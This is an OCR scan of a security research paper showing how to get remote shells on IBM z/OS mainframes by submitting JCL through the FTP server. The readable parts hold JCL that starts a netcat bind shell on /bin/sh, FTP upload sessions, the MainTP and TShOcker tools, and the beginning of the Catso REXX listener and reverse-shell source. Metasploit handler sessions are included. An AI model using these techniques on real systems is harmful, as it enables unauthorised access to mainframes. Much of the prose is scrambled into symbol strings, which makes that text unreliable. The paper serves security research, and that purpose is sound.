Executing Commands on z/0OS
through FTP

By: Philip “Soldier of Fortran” Young
@mainframed767

http://mainframed767.tumblr.com




Overview
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! Information Week
2 http://mainframes.wikidot.com/
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JCL and JES

"/-4./$1$1*85$*946 1$NOPS!I$,//2$143)/,1+4, SNT(@$4.$N49$T,1.;$(690;01/)<$18)401$/G/.;12+,7$24,/$
4,$12/$)*+,-.%)/$+0$12.4672$12/$60/$4-$K490<$I$K49$+0%./*88; SHBDA K34 FHA/SS
)*+,-.%)/<$B4.$/A%)>8/@$+-$!$,//2$514%5:4>:$*5-+8/$!$) +721$60/$SNOP$14$>/.-4.)$12*1$1*05<$U 2/, $*$K-
+0$069)+11/2$+1$+0$)*,*7/2$9;SNT(<SNT($2*,28/0$%::/>1+,7$12/$KA9@$>6 11+, 7$+1$+,$12/$V6/6/$--
14$>.4:/00$*,2$)* *7+,7$12/$461>61<SM4A$$188$12+0$:46$60/$-+8/0$3.+11/,$+ SNOP<$M2/0/$-+8/0$
2*GI$G/.;$0>/:+-+:30;, 1*A$Q4618+,/7$9/843R$*, 2$*./$:4)>40/?$4-W

*$K49:*. 2@

01/>0@

>47.%)0@

>* *)[1/.0@

* 2$7*1*0/10

B4.$/A*)>8/@$12/$NOP$14$:4>;$*$-+8/$84450$8+5/$04W
Figure 1 COPYFILE.JCL

/I COPYFILE JOB (INFO),'Copy a file',CLASS=A,MSGCLASS=0,
l MSGLEVEL=(1,1),NOTIFY=&USERID
JICPTHATS EXEC PGN=IEBGENER

/ISYSPRINT DD SYSOUT=*

/ISYSIN DD DUMMY

/ISYSUT1 DD DSN="FROM.FILENAME" DISP=SHR
/ISYSUT2 DD  DSN="TO.FILENAME",

/I LIKE="FROM.FILENAME",

/I DISP=(NEW,CATLG,DELETE),

/I UNIT=SYSDA

u2/./w

e P+,/$C$+0$12/$K49:*.?2@%$*804$5,43,$*0$12/$K49%$01*1/)/,1<$!,$12+0%$:*0/$3/=./$.6,,+,
KA49$0'SXBIPT$3+12$0/1$0OPI((/0@$#(YOPI((/0$*, 2$#(YPTZTP$%:388/$, 41+
60/.+7$12/$./06810$4-$1 2B UBSEXF 1$:4)>8/1/0$06: 1/00-688;$4.$24/08 A H6S
*,$0//$12*1$8+,/3C$/A1/,?0$1 4B BRIAD12/0/$-+8/0$*./$8+)+1/7$14$\D$:486),0$
4-$1/A1<

o P+ /$[$+0$12/$-+.01$L01/>=%$+,546.5K49<$M2+0$8+,/$/A/:61OSQEVERSH12/$>.4
LIT"YTAT =<$$M2/$>6.>40/$4-$12+0$>.47 *)$+0$14%:4>:$4,/$-+8/$14%$*,412].

3 http://www.simotime.com/jclone01.htm
4

http://publib.boulder.ibm.com/infocenter/zos/basics/index.jsp?topic=/com.ibm.zos.zdatamgmt/zsysprogc_u
tilities IEBGENER.htm
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P+,/$$0>/:+-+/0$32/./1$12/$461>61$4-$12/$:4))*,70$02468?$74<$(+,:/$3/$>61$*$
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/3%-+8/$12/$0*)/$*0$12/$48?%$-+8/$QP!gThR<$

X46=88$,41+1/$243%*.:* [$*,2$:2*88/, 7+, 7$12+0$+0$:AN$L/2$-+8/C$-+8/H=<$M2/$./*04,$9/+,7$+0$
12*1$IT"YTAT_$3*0$:./+1/2$*84,7$3+12%' (&eB12/$eB:40

06&'($:4)/0$3+12$*$)681+162/$4-$>.47.%)0$;46%:*,$.6,$60+, 7SNOP<$X46$:* $/G/,$3.+1/$,46.$43 $+,$
O@$O™"P@$B'_M_INFPS0>/:+-:$12/)$*0$12/SLSY#=$14$/A/:61/<$$M2/$134$>.47.*)0$3/=88$9/$
IAR)+ + T$* 2560+ 7$-4.$46.$*11%:58%./$"S]" IMB,P$!gNTBMBC

o "S]"IMOJ$*88430%$;46$14$/A/:61/$dMN]$:4))*,20$*,2$:42/$12.4672$NOP<$
Figure 2 Execute UNIX commands

/ICOPYFILE JOB (INFO),'Execute UNIX',CLASS=A,MSGCLASS=0,
1 MSGLEVEL=(1,1),NOTIFY=&USERID

/INETCAT EXEC PGM=BPXBATCH

/ISTDIN DD SYSOUT=*

/ISTDOUT DD SYSOUT=*

[/ISTDPARM DD *

SH pwd;

id;

Jnc Bl Pbp 31337 Be /bin/sh

J*

o IgNTBMEBBBA30$;46$14$/A/:61/$M('$:4))*,20$12.4672$NOP

Figure 3 Execute TSO command s - this will execute the file SOME.EXEC(TEST4) in TSO
SEE /[EXECREXX JOB (INFO),'Execute UNIX',CLASS=A,MSGCLASS=0,
02 i MSGLEVEL=(1,1),NOTIFY=&USERID

‘=8 /[EVILPGM  EXEC PGM=IKJEFTO01,PARM="'TEST4'
| [ISYSEXEC DD DSN= SOME.EXEC,DISP=SHR

® IBM 0s/360 was really the first IBM Mainframe multipurpose OS, released in 1966
6

http://publib.boulder.ibm.com/infocenter/zos/v1lrl2/index.jsp?topic=%2Fcom.ibm.zos.r12.bpxa400%2Fxba
t.htm

! http://publibz.boulder.ibm.com/cgi

bin/bookmgr OS390/BOOKS/IKJ4B460/APPENDIX1.1?DT=20050714030239
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IS 41214, />15.1 7%, 7+, ISNQBOSL2/$60/54-51/)>4.*..$7*1*0/10<3$!, 31 2/$-+.015/A*)>8/$:4650*3%
60%:4>;%$4,/$-+8/$14$12/$,/A1<$!,01/*? @S +-$3/$3*,1/7$14$?4304)/12+,7$3+ XTI BAESA8/HES
3/$:4682=G/$:4>+/7$+1$14$+$1/)>4.*.:$-+8/$60+,7$12/$,4)/,:816./WSii<$iMT#S @S$ii"P10g$4.$
iiJIM$34687$*88$34.5<$',/$5/:$+0>/:154-$1/)>4.*.;$-+8/0$+0$12*1$32/,$12/;$*./$,4$84,7/.$+ $60/$
Q*-1/.$12/$NOP$2*0$-+,+02/2$/A/:61+ TR$12/$-+855+0$72/8/1/7
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FTP Server

%&' ($2*0@$-4.$)*,;$./G+0+4,0$,43@$:4)/$BBLEIBS0/.G/.$*0$>*.1$4-$12/+.$:4))6,+:*1+4,$
0.G+:/0<$!-$;46=./$60/$14$12/$01*,2*.2$BMS$?*/)4,$12*1$:4)/0$3+12$P+,6 A$12/,$;46=./$*8./*?;$
*+.8;$-%)+8+* $3+12$+1<$Y/,/.*88;$12/$SBMSEPH) 2/ SIS >*. 1$4-$12/$MOS&!S$>.4:/00/0$26.+,7$
9441$961$:4682$*804$9/$01*.1/2$+,$dM]$9;$.6,,+,7$&60. &M &+ 1588 $12/$0/11+,70$-+8/$14$9/$
60/2$3+88$9/$0>/:+-+/2$+,$12/$8*6,:28NOP<$!-$+1=0%$,41 @$%& ' ($3+88$0/*.:2$-F&+1$+,$0>/:+-+:$8:

(+)+8*.$14$12/$d]$9*0/2$BMS$?* @B $%& (SBMS$?*/)4,$>.4G+2/0$60/.0$3+12$*::/00$14%
12/+.$-+8/0$014./2$4,$12/$)*+,-.*)/<$

Figure 4 Browsing a PDS

ftp> cd rexx.exec
250 The working directory "CASE.REXX.EXEC" is a partitioned data set
ftp> dir
200 Port request OK.
125 List started OK
Name VVW.MM  Created Changed Size
GAME 01.00 2013/06/07 2013/06/07 20:30 25
SOCKET 01.10 2013/06/08 2013/06/13 02:14 395
TRACE1 01.01 2013/06/07 2013/06/13 02:02 13
250 List completed successfully.

M34$-/*16./0@$243/G/.@$12*1$108:47%.2$-/*16./0$4-$SBMS$2*G/$9//, $*22/2$14$12/$%& ($BMS$
214, WENT ($2$(kP<

Figure 5 Output of Oquote help site®

214-FILEtype=value Specifies file type (SEQ, JES, or SQL).
214- SEQ is standard MVS sequential or partitioned data sets,
214- or HFS files. This is the default and most common.

214- JES is MVS spool used for submitting Jobs and
214- retrieving their output.
214- SQL is for submitting DB2 queries.

8

http://publib.boulder.ibm.com/infocenter/zos/basics/index.jsp?topic=/com.ibm.zos.znetwork/znetwork_110
.htm
S

http://publib.boulder.ibm.com/infocenter/zos/v1lrl2/index.jsp?topic=%2Fcom.ibm.zos.r12.halz001%2Fftctc
p.htm
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Command: SITE FILE=SQL
M2+0$:4,G/.10$12/$BMS$-+8/$0/.G/.$+,$145*$(kP$:4))*,7$1448@$*8843+,7%$;46$14$>*00$(KPSV6/.+/i
C"H$G+*$*$-+8/$6>84*7<$(4$84,7$*0$12/$60/.$*::46,1$2*0%*::/00$14$c"HS;46%:*,$069)+1$V6/.+/0<$NV
L-/*16./=$9*0+:*88;$*88430%-4.$(kP$+,K/:1+4,$+,$149d'FtH60+,7$B

Command: SITE FILE=JES
(+)+8*.8;$12+0%:4))*,7%$:4,G/.10$12/$BMS$0/.G/.$-.4)$6>84*?+,7&?43,84*?+,7$-+8/0$14$6>84*?+,7$
K490$14%$12/$K49$>448<%',:/$,46=./$:4,,/:1/?$14$12/$BMS3$0/.G/.$*,7$06>>8;$12+0%:4))*,?$*,;$-+8/$
;46$6>84*7312/./*-1/.$3+88%$9/$/A/. L RPT ($04$84,7$*0$+10$+,$12/$:4../:11$NOPS$-4.)*1<$B4.$
IA%)>8/@$+-$3/$1*5/$12/$NOP$/A*)>8/W

Figure 6 Execute TSO commands

S [[EXECREXX JOB (INFO),'Execute UNIX',CLASS=A,MSGCLASS=0,
o= i MSGLEVEL=(1,1),NOTIFY=&USERID

e /[EVILPGM EXEC PGM=IKJEFT01,PARM="TEST4'

o /ISYSEXEC DD DSN=SOME.FILE,DISP=SHR

* 2$0*G/$+1$14$12/$-+8/$6>84*2<K:8@$:4,,/11$14$12/$BMS$0/.G/.$*,2$:4,G/. 1$+1$14$NT($)42/<$U/
12/,$LSAM$6>84*2<K:8=$* 2$+1$3+88$7/1$/A@B 1 PFTHRIBIK12/$:4))*,20 <
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Netcat
N1:*1$-4.$H#Z($Q412/.3+0/$5,43,$* 08| @$*$:4./$:4)>4,/, 1 $%& (R$2*0$9//,$*.46,7$-485
/*.$,43@$*G*+8*98/$*1$7+1269W

P11>0WEET7+1269<:4)&)*+,-.9)/2& QBZD $

M2+0$+0$12/$487/.$G/.0#4:346H5,43,5*0$3G/.0+4,3C<CD@%$3+12$04)/$)+,4.$:2*,7/0$14$*8843%
14)>+8*1+4,$3+12$12/$,*1+G/$0$:4)>+8/ .83, 8G&TS*./ P4)/$:2*,7/0$14$12/$)*5/$4>1+4,%
14$+,:862/$1D/$-8*7 @$*8843+,7$-4.$/A/:61+4,$4-$:4))*, 20<$M4A$:4)>+8/$"/1:*1$+,$'#Z($0+)>8:$
6>84* % 2/$-+8/0$Q60+,7$/+12/.$BMS$4.$0:>R$*, 2$: 4jrak@®/ $8mL2Ek $

Figure 7 compile netcat for omvs

',:/$:4)>+8/7%$;46$:*,$/A/:61/$3+12%/nc<$

" 1$4-$12/$5/;$+006/0@$243/G/.@$+0$12*1$/G/.;12+,7$4,$12/$)*+,-.*)/$+0$+,$T"Oc!lO<$M2/$BMS$
?*1)4,$7/10$*.46,? §2+0$9;$1.*,08*1+, DHABYO!!$*,?7$C+:/$G/.0*<$U+12$12*1$+,$)+,7$*$>;124,$
0:.+>1$3*0$3.+11/,$14$>/.-4.)$*0$*$:4,,/:14.$-4.$MN 1:*1$4,$'#Z($:*88/?$"/1T"Oc!O*1<>;$Q-46,7$
+,$12/$-48?/.$S;124,$(:. S BOCCECBZ( R<$dO+,7$9412$MN1:*1$*,?2$N1T"OclO*aeLFH*H
,43$0/16>$*$8+01/,/.$4.$./)41/$02/88%+,$'#Z($*,?$+,1/.*:1$3+12$+1<$
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Putting it all together
(4$-*.$3/=G/$/01*98+02/7$12/$-48843+,7W

NOP$+0$*$-+8/$:4,1*+,+,7$+,01.6:1+4,0$-4.$12/$4>/.*1+,7$0;01/)$14$/A/:61/$:4))*,20@ /1. @$
0+)+8*.$14$*$9*02$@+8%1
M2/$%&'($BMS$0/.G/.$*88430%;46$14%*::/00$*??7+1+4,*8%-/*16./0$32+:2$*88430$60/.0$12/$
*9+8+1;$14$/A/:61/@%$4.$3069)+1@SNOPS-+8/0
"S]"IMOJ@$*$>.47.%)$:*88/?7$12.46 72$SNOP @$*88430%-4.$12/$/A/:61+4,$4-$dN]$>.47.%)0
AL*1$:* $9/$:4)>+8/2$3+12+ $12/$HZ (§B+.4,)/,1$14$*8843%-4.$./)41/$4.$./G/.0/$
02/88Q%k3.9+,&02R

P/1=0$1*5/$12/0/$+1/)0$*,2$>61$12/)$*88$147/12/.W

(1/>$CR$O4)>+8/$HZ($M1:*1$*,2$6>84*2$14$:46.$1* 7/1$)*:2+,/W

ftp> pwd

257 OOBLKHT.DO Is working directory.
ftp> binary

200 Representation t ype is Image
ftp> put nc

200 Port request OKEE

(1/>$HR$O./*1/$*$SNOP$-+8/$14$/A/:61/$12/$6>84*?/?2$N1:*1$9+,*.;
Figure 8 RUNNC.JCL

$

IIEXECNC JOB (INFO),'Execute NCO,CLASS=A,MSGCLASS=0,
1 MSGLEVEL=(0,0)

/INCLOL EXEC PGM=BPXBATCH
//[STDIN DD SYSOUT=*

//[STDOUT DD SYSOUT=*

//[STDPARM DD *

SHcp - B O//OBLKHT.NCOO /tmp/nc;
chmod +x /tmp/nc;

nohup /tmp/nc -1 -p31337 -e/bin/sh;
rm /tmp/nc

/*

(1/>$[R$d>84*2$12/$-+8/$14$12/SNT($V6/6/

ftp> site file= jes

200 SITE command was accepted

ftp> put RUNNC.JCL

250- It is known to JES as JOB JOB12345
250 Transfer completed successfully
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(1/>$'R3$04,,/:1$14$12/$M1:*1$8+01/,/.$3+12$N1T"OclO*1<>;
Figure 9 NetEBCDICat.py

$ ./NetEBCDICat.py -i 10.10.0.200 -p 31337
id
uid=31337(CASE) gid=0(SYS1)

pwd
/u/case/NC110-0MVS
uname -1

z/0S
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MainTP

c4+,7$*88$12/0/$01/>0%+,2+G+?6*88;$+0@%$-.*,58; @$1+)/$:4,06)+,7$*,2%/..4.$>.4,/<$|??+1+4,*88:$14
*$:4>:$4-$12/$HZ($MN1:*1$9+,*.:$5:46$)601$*8./*2:$2*G/$*::/00$14$*$)*+,-.%)/$14$:4)>+8/$+1$+,$
12/$-+.01$>8*:/<$

| 88$4-$12+0$:*,$,43$9/$+614)*1/2$3+1 2$HGHI+ MS$+0$*$>;124, §@445%,+, 7B +12+,$+1$

Q"*0/e $/,:4217R$*$>./:4)>+8/2$HZ ($M1:+1$9+,*.:<$11$1*5/0@$*0$+10$*.76)/, L0@$12/$!S$*272./00$
4.$2401,%)/$4-$12/$)*+,- )/ @$*$601.,*)/$*,2$>*0034.2<$11$12/,$6>84*20$"/1:*1 @$069)+10$12/$
NOP@$7/8/1/0$8/(5%2$:4,,/:10$3+12$" 1 T"Oc!0*1=0$:4?/<$!1$+,:862/0$*$G/.940/$)4?2/$14$*8843$
[46$14$0//$/A*:18;$32*1$+1=0$24+,7$/G/.;$01/>$4-$12/$3*;$Q./-/.$14$*>>/,2+ASI$-4.$12/$G/.940/$
461>61R

Figure 10 MainTP: Automating FTP - >Shell with Netcat and JCL

$ ./MainTP.py -t 10.10.0.200 -u case -p st4shlp

10 Inspiration for the name MainTP from Chie§éot
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Introduc ing Catso and TShOcker
Y/11+,7$71:*1$14$/A1:61/@$12.4672$BMS @$+0$*88$3/88%$*,7$7447<$143/G/.$%& ($+0$)*?/$6>$4-$
)4.1%:4)>4,1,10$12% $0+)>8;$dM]$*, 2$7*+,+,7$02/88%*::/00$14$12/$d"|$/,G+.4,)/,1$+03$,41$
J*.8;$*0$+)>./00+G/$+,$%&' ($*0$+1$+0$+ BABIRENERDAG/$+>>.4*:2$+0$*804$8*:5+,7$?6/$14$
12/$-*:1$1 200
o 11$./V6+./0$6>84%2+, 78 2$2/8/1+,7$4-$-+8/0%* 2$+0$4G/.*88$,41$G/.;$60/.$-.+/,78;<$
o M2/$,/1:*1$:4,,/:1+4,$:*,$4,8,30>/*55+ $T"OclO@$32+:2$,4,/$4-$12/$)47/.,$>8*1-4.)0$
Q-4.$/A%)>8/$#/1*0>849BR>4.1<
o 41$*88$60/.0$%./$7.%,1/2$*::/00$14$#Z(<$Y/,1.*88;$4,8;$60/.0$324$,//2$*::/00$14$d"|$
*[$>.4G+0+4,/?$12+0%$*::/008BIOAB/G/.;4,/$2*G+,7$*::/00$143M('$Q12/$% &' ($
IV6+G*8/,1$4-$2*G+,7$02/88%*::/00R<$$

I<T<$!1=0%$*$,/*1$1.+:5$961%$,41$*83*'B8$.*

'61$4-$12/0/$?2+--+:681+/0$3* 0240 0//$*>>/, 2+A$"$-4.$*$:4>:$4-$0*104R<$0*104$+0$*$_T]]
0:.+>1$2/0+7,/2$14$9/$0+)+8* $+,$,¥16./$14$)/1/.>./1/.<$!1$2*0$134%$)4?2/0@$8+01/,/. $QPRS$*,2$./G/.0
Q_R$*,7$7+G/0$*::/00$14$G*.+4605%& ' ($:4))* [POCIIMEFAAS> .47 QD $6>84P$14$*$-+8/@$

* 2$-.4)$3+12+,SM('$;46$.6,5+1$3+12$12/$L/A/:=$: 4 PteeVBEKHT.CATSO’ ‘L 31337°%,2$
12/,$:4,,:1$14$+1$3+12$M1:¥1$+,$U+,2430$4. 6P mbirfkiine.ip 31337

Figure 11 Catso help output

Enter command or 'h elp'> help

Core Commands

Command Description

help Help Menu

exit Terminate the session

quit Terminate t he session

Command Description
cat Show contents of dataset
cp copies a file to a new file

"REXX is a scripting language that comes with z/OS. 1tOs similar in capacity and function to Python or
Ruby.
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Is list datasets in HLQ

delete deletes a file
del also deletes a file
[smem Lists files and members

IHWARNINGI!! Takes time and IO

Networking Commands

Command Description
ipconfig Display interfaces
ifconfig Display interfaces

System Commands

Command Description

getuid Get current user name

sysinfo Remote system info (i.e OS)

racf Show password database location

execute Execute a TSO command

tso Execute TSO command (same as execute)
unix UNIX command (i.e Is -al)
ftp Upload a file from the mainframe to

an FTP server. Syntax is:
host/ip user pass filename [binary]

10$;46%:* $0/@$O*F0O$+)>8/)/, 1/2$*$841$4-$:4))*, 20$14$)*5/$60+, 7$+1$/0+/.$12* $2*G+,7$14%$

0/*.:25-4.5)+ - *)/$:4))*, 20<$1-$;46$,//7$14$+006/$:4))*, 20$,41$8+01/7$;46$:* $60/$12/$
lexecute=$4 Bb=%))* 2@$32+:2 B+88$/A/:61/$32+:2/G/.$:4))*,2$:46$/,1/. @ $12/$M('$
1,G+.4,)1,1<$!1-$;46=./$01+88%-//8+,7$12/$,//2$14$.6,$d"1]$:4))* 20$K601$60/$12/$: 4))ix2$L
* 2$32*1/G/.$:46.$1;>/$3+88$9/$/A/:61/2$+ SIP/$,G+.4,)/,1<$

0*104$+0$*$01*,7*84,/$_T]]$0:.+>1@$3+12$12/$+,1/,1$12*1$+1$:*,$9/$60/?$46NDPEH4-$12/$BMS
*11*:5<$!1$:*, @$243/G/.@$*804$9/$/A/:61/?$12.4672$NOP$3+12$12/$>.47.*)$!IgNTBMDC<$d,-4.16,*1
+1$34687$01+88%+,G48G/$12/$-+.01$01/>$4-$6>84*7+,7$12/$_T]]|$-+8/$G+*$BMS$9/:*60/$SNOPS$-+8,

IA:61/$+,8+,/$_T]]<$

d,8/00$3/$60/$04)/$NOP$1.+:5/.;$14%:4>, FI1RB.+P1$14$*$1/)>4.*.;$-+8/$*,?$/A/:61/$12*1$
-+8/W
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Figure 12 JCL with REXX file: SHOCKD.JCL

//[ISHOCKD JOB (SHOCKD),'SoF',CLASS=A,MSGCLASS=0,MSGLEVEL=(1,1)
/I* The next are lines JCL to create a temp dataset (&&OMG) with
/I* a member (CATSO). The file then looks like &&OMG(CATSO).

/I* The end of the REXX file is noted as single line with ## on it

/I* The program IEBGENER copies all that data to the temp file
/[CREATOMG EXEC PGM=IEBGENER

/ISYSPRINT DD SYSOUT=*

/I[SYSIN DD DUMMY

/ISYSUT2 DD DSN=&&OMG(CATSO),UNIT=SYSDA,

1 DISP=(NEW,PASS,DELETE),

1 SPACE=(TRK,(1,1,1)),

1 DCB=(LRECL=80,BLKSIZE=3120,RECFM=FB,DSORG=PO)
/ISYSUT1 DD DATADLM  =##

<<<CATSO REXX FILE>>>

#it

/[* Thats the end of the REXX program. Now lets execute it,

/[* the program IKJEFTO1 lets us execute a REXX program

/[* as though we were in TSO (letting us use ADDRESS TSO

/[* as a valid command).

/[EXECREXX EXEC PGM=IKJEFTO1,

1 PARM='% CATSO L 31337,

1 REGION=0M

/ISYSTSIN DD DUMMY

/ISYSTSPRT DD SYSOUT=*

/ISYSEXEC DD DSN=&&OMG,DISP=(OLD,DELETE,DELETE)

~1/W$8+,/$C $34687$*:16*88;$9/$12/$/,1+./$:4,1/,10$4-$0*104$Q*>>/,7+A$"R<

M2/$NOP$-+8/$60/THIT"$14$:4>;$12/$2*1*@$12*1$01*.10$*,2$/,20$3+12$Lnn=@$14$*$1/)>$-+8/@%
X)/8;$ii'#Y QOIM('R<$',:/$+1=0$:4)>8/1/?2$+1$60/0$!gNTBMDC$14$/A/:6 1/$LOIM('$PS[C[[f=<$!,$
412/.$34.20$+1$/A/:61/0$0*104$*0$*$8+01/,/.$4,$>4. 1$[C[[f<$M2/,$60+,7$12/$)/1242$?/0: +9/?$
*9AG/H0+1/$-+8/hK/OR$3/$:* $6>84*2%* 2$/A/:61/$12+0$4,/SNOPS-+8/$8/*G+,7$,4$-+8/0$14$9/$:8/* /'

[7*+,@$12/$NOP$-+8/$+0$*$8+118/$084>>; @$12/$-8*70 @ $+>$*??./00/0$*,7$>4.1$;46$3+02$14$>*0

12/$G/.;$/,7$4-$12/$-Q@MHD0$8+,/0$PRIG="$2* Gl 4$:2*,7/$12/$K49:* A$8704.$/*:2$60/<$
M4$0+)>8+-;$*,7$*614)*1/$12/0/$1 188 0CkEr.pyB*0$3.+11/,<$

X46$>*00$M(2':5/.$12/$!S$Q4.$2401,*)/R$*,2$60/.,%)/&>*0034.2$14$12/$)*+,- *)/$*, 250>/ :+-;$
+-$;46$3*, 1$*$8+01/,/.$4.$./G/.0/$02/88$9*:5814$;46
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TShOcker Listener
P*6,:2$M(2":5/.$3+12$1J@$-8*7$*, 230>/ +-;$*$>4. 1§ B>U2B$Q?/-*6810$14$ " $+-$,41$0$/:+-+/?7R

Figure 13 Launching TShOcker

$ ./TShOckér.py 10.10.0.200 case stishlp -1 --1port 31337

$
1,$12/$/A*)>8/$*94G/$0*104$3*0$8*6,:2/?$*0$*$8+01/,/.$4,$>4. BRI [HeB+,7$"1:*1$4.$
)/1*0>84+186%:*,$:4,,/:1$14$12/$8+01/ &W

$

Netcat:

Figure 14 Connecting with Netcat

$ nc 10.10.0.200 31337
Enter command or 'help's ifconfig

TCP/IP Name: TCPIP
Connected using IP Address: 10.10.0.200

Interface 1
¢ CTC1
IPv4 Address : 10.10.0.200
Flag : P
Interface 2
: LOOPBACK

IPv4 Address : 127.0.0.1
Flag s

Enter command or 'help's> I
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Metasploit
Figure 15 Connecting with Metasploit

msf> use multi/handler

msf exploitChandler) > set payload generic/shell_bind_tcp
payload => generic/shell_bind_tcp

msf exploitChandler) > set lhost 10.10.0.200

lhost => 10.10.0.200

msf exploitChandler) > set lport 31337

lport => 31337

msf exploitChandler) > exploit

] Starting the payload handler...
[*] Started bind handler
[*] Command shell session 5 opened (10.10.0.16:34953 -> 10.1
Enter command or 'help'> getuid
Mainframe userID: CASE
Enter command or 'help'> unix pwd
/u/case
Enter command or 'help'> sysinfo
Computer : LPAR
Sysplex : ROCCAPL
0S : z/0S 01.12
Job Entry : JESZ (Node: N1)
Security : RACF

Enter command or 'help's |
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TShOcker Reverse

04,G/.0/8;$;46%:* $/A:61/$M(2':5/.$14$60/$+1$14%$:4,,/:1$9*:5$14$* 488401/, +,7$,:$4.$
)/1*0>84+4$B+.01$0/16>%;46$8+01/,/.0%+,5#/1*0>84+1354.$ 463899, 22 %+ 1 $3+ 1 234 BH $
* 2$0/1$;46.$./G/.0/$2401 FA01R$*, 7$>4j[L$D. LIRSS

Figure 16 Launching TShOcker in reverse mode

./TShOcker.py 10.10.0.200 case st4shlp -r --rhost 10.10.0.16 --rport 31337

Netcat Listener

Figure 17 Netcat reverse connection

$ nc -1 -p 31337
Enter command or 'help'> ifconfig

TCP/IP Name: TCPIP
Connected using IP Address: 10.10.0.200

Interface 1
: CTC1
IPv4 Address : 10.10.0.200
Flag : P

Interface 2

: LOOPBACK
Address : 127.0.0.1

Enter command or 'help's pwd
CASE

Enter command or 'help's []
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Metasploit Listener
Figure 18 Metasploit shell_reverse_tcp

msf> use multi/handler

msf exploit(Chandler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp

msf exploitChandler) > set lhost 10.10.0.16

lhost => 10.10.0.16

msf exploit(Chandler) > set lport 4444

lport => 4444

msf exploitChandler) > exploit

Started reverse handler on 10.10.0.16:4444
[*] Starting the payload handler...
[*] Command shell session 3 opened (10.10.0.16:4444 -> 10.10.¢

Enter command or 'help'> sysinfo
Computer : LPAR DUZA
Sysplex : ROCCAPL
0S : z/0S 01.10
Job Entry : JES2 (Node: N1)
Security : RACF
Enter command or 'help'> getuid
Mainframe userID: CASE
Enter command or 'help'> unix pwd

/u/case

Enter command or 'help'> unix 1s /usr/lpp
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Conclusion

U2+8/$12/$)*+,-.*)/$+0%$,4$84,7/.$12/$14>$4- 51288 1/:3442$:2*+ $+1$01+88%./>./0/,10$*$
0+7,+-+7% 1$>8%.$+ $HPE*,0%:1+4,$.4:/00+,7 @$/0>/:+°88;$+ $12/$-+ ¥, -+ BB+

2/%812:* /$*,2$1.*G/8$0/: 148U+12461%$.49601$0/:6.+1;$1/01+,7$>.47 *)0@$-/*16./0$*, 2$96 70$)*;$
IA+01$12*1$/A>40/$12/0/$0:01/)0$14$6,76/$.+050<$M2/$60%7/$4-SNOPS12.46 72$BMS$+0$K 60154,/
4-$04)/$4-$12/$2/0+7,$7/:+0AROEE/ A+OBA2/$)"+,-. )] R47%<M2.4672$12+0$32+1/$>*>/.$

* 2$1*850%4,$)*+,-.*)/0$*,2$12/+.$0/:6.+1; @$12/$24>/$+0$14$0>* 5$* $+,1/./01$-.4)$12/$0/:6.+1:$
:4))6,+1;@$3*5+,7$6>$12/$08//>+,7$7+*,1<
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$ ./MainTP.py -t 10.10.0.200 -u case -p std4shlp -v

{!} - Verbose mode enabled

{!} - Mainframe FTP Server: 10.10.0.200
{1} FTP Server Port: 21

{1} FTP Username: case

{1} FTP Password: st4shilp

{1} - Connected to: 10.10.0.200 : None
{!} - Working directory CASE.

{!} - Job name: ISPF3259

{1} Executable name: LCXHGX

{1} Listener port: 32636

{1} - Netcat to be copied to: WQNLQ

{!} - Trapdoor Upload Messages: 250 Transfer completed successfully.

{1} - Temp JCL File:

//ISPF3259 JOB "JCL',

/7* NOTIFY=&SYSUID,

/7 CLASS=T,

/7 MSGCLASS=H,

/7 TIME=NOLIMIT,

//* MSGLVL=(1,1)

/7 MSGLEVEL=(9,0)

//*

//NCLOL EXEC PGM=BPXBATCH

//STDIN DD SYSOUT=*

//STDOUT DD SYSOUT=*

//STDPARM DD *

SH cp -B "//"CASE.LCXHGX'"™ /tmp/WQNLQ;
chmod +x /tmp/WQNLQ;

nohup /tmp/WQNLQ -1 -p 32636 -e /bin/sh;
rm /tmp/WQNLQ

//*

{1} - JCL Upload Messages:
R
250-It is known to JES as JOB@3311

250 Transfer completed successfully.
BB
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Appendix B b Catso REXX script

I* REXX */
[* Catso. n. 1. A base fellow; a rogue; a cheat, */

* also a z/OS Network TSO 'shell' */

I* */

/* Catso is a A "meterpreter" like shell written in REXX. */

[* Yet another amazing mainframe tool brought to you by: *

* . : : *

* . . : */

* o : : *

I [ | *|

I . | | I K

I I e ki

I I O *

* : | - */

* . Soldier of Fortra n */

* (@mainframed767) *

I* */

/* This is a REXX script meant to run in TSO on IBM z/OS */

[* It cre ates a Listener or Reverse 'shell' on a supplied port  */

/* Connect to it with either metasploit or netcat */

I* */

[* Either upload the script and execute: tso ex ' userid.zossock' */
/* or use a JCL file and execute it that way *

/* On the PC side you can use Netcat or Metasploit to connect.  */

I* */

/* In Listener Mode *

[¥ ================ */

/* On the Mainframe: *

[* <scriptname> L Port */
I* */

/* With Metasploit: *

/* msf > use multi/handler */

/* msf exploi t(handler) > set payload generic/shell_bind_tcp */

/* payload => generic/shell_bind_tcp *

/* msf exploit(handler) > set RHOST IP (Mainframe IP Address)  */

/* msf exploit(handler) > set LPORT Port (the port yo u picked)  */
I* msf exploit(handler) > exploit *

I* */

/* With Netcat: *
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/* $ nc IP Port
/* */
/* In Reverse Mode */

/* With Metasploit: *

/* msf > use multi/handler */

/* msf exploit(handler) > set payload generic/shell_reverse_tcp
[* payload => generic/shell_r everse_tcp
/* msf exploit(handler) > set lhost your

/* msf exploit(handler) > set LPORT your - port
I* msf exploit(handler) > exploit *

I* */

/* With Netcat: *

I* $nc - Ip your_port */

/* On the Mainframe: */

[* <scriptname> R your - ip - addredd your - port
I* */

/* AS CIl Art modified from: *
[* http://sixteencolors.net/pack/rmrs

I* */
* Let's start the show!

/* ~— ~— ~ ~ ~ ~ ~— ~ ~ ~—

*/

- ip - address

*/

*/

*/

- 03/DW- CHOOS.ANS

*/

/* Uncomment this line to turn on debugging */

/* TRACE | */

/* change verbose to 1 to see results on the screen */
verbose =1

if verbose then say "

if verbose then say "

if verbose then say "

pwd = userid()

NEWLINE = "25"x /* this is the hex equivalent of EBCDIC /n */

PARSE ARG type arghost argport

/* Parse the arguments to see what we want to do */
SELECT
WHEN type = 'L' THEN
DO
IF arghost =" THEN
DO

*/

*/

*/

*/
*/
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if verbose then say "[+] You specified Listener without a port."
if verbose then say "Using default: 12345"
arghost = 12345
END
if verbose then say '[+] Listening on port:' arghost
party = MATT_DAEMON(arghost)

END

WHEN type = 'R' THEN

DO
IF arghost =" | argport =" THEN
DO

SAY '[!] You must pass a host and port when using Reverse'
EXIT 4

END
if verbose then say '[+] Sending shell to' arghost||":"||argport
ttime = RIVER_SONG(arghost,argport) /* Reverse Con nection */
END

OTHERWISE /* Excellent */
if verbose then

